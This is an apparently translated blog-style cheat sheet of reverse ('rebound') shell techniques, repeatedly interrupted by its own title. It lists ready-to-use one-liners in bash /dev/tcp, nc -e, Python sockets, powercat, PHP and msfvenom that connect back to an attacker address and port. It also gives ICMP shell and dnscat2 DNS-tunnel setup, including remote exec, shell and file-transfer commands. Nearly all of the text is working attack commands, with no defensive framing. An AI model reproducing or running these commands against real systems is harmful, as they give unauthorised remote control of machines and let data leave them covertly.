What are the rebound shells?

王林
Release: 2023-05-18 22:01:04
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1.bash rebound

bash -i >& /dev/tcp/ip_address/port 0>&1
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What are the rebound shells?

2.nc rebound

nc -e /bin/sh 192.168.2.130 4444
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What are the rebound shells?

3.python

import socket,subprocess,os s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.2.130" , 4444 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call([ "/bin/bash" , "-i" ])
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What are the rebound shells?

4.powercat

Import-Module .\powercat.ps1 powercat -c 192.168.2.130 -p 4444 -e cmd.exe
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What are the rebound shells?

5.msf generates exe backdoor

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.130 LPORT=4444 -f exe > shell.exe
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6.php rebound shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i &3 2>&3");'
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What are the rebound shells?

What are the rebound shells?

##7.ICMP

关闭icmp响应,不然shell一直跳,恢复是0 sysctl -w net.ipv4.icmp_echo_ignore_all=1 python icmpsh_m.py 源 目标 python icmpsh_m.py 192.168.2.137 192.168.2.135
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Running in windows7:

icmpsh.exe -t 192.168.2.137
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What are the rebound shells?

What are the rebound shells?

8.DNS

https://downloads.skullsecurity.org/dnscat2/

Here we use dnscat2, here is the download, Divided into windows and linux versions, server and client.

And it is recommended to use vs2008 to compile

Installation

git clone https://github.com/iagox86/dnscat2.git cd dnscat2 cd server sudo gem install bundler bundle install sudo ruby ./dnscat2.rb
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kali

ruby dnscat2.rb --dns host=0.0.0.0,port=53531 ruby dnscat2.rb --dns server=23.105.193.106,port=533,type=TXT --secret=123456(密钥) ruby dnscat2.rb xxx.com
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In windows7:

./dnscat --dns server=192.168.2.130,port=53531 ./dnscat --dns server=192.168.2.130,port=53531 --secret=qwer1234(密钥) ./dnscat xxx.com
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After successful connection

What are the rebound shells?

What are the rebound shells?

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What are the rebound shells?

Select connection

What are the rebound shells?

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What are the rebound shells?

Return to select shell

What are the rebound shells?

Execute command

What are the rebound shells?

Other commands

quit (退出控制台) kill  (中断通道) set(设值,比如设置security=open) windows(列举出所有的通道) window -i (连接某个通道) 连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令): clear(清屏) delay(修改远程会话超时时间) exec(执行远程机上的程序) shell(得到一个反弹shell) download/upload(两端之间上传下载文件) supend(返回到上一层,等于快捷键ctrl+z)
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DNS tunnel forwarding

listen 127.0.0.1:6666 192.168.2.135:80 本机的6666就可以访问80端口
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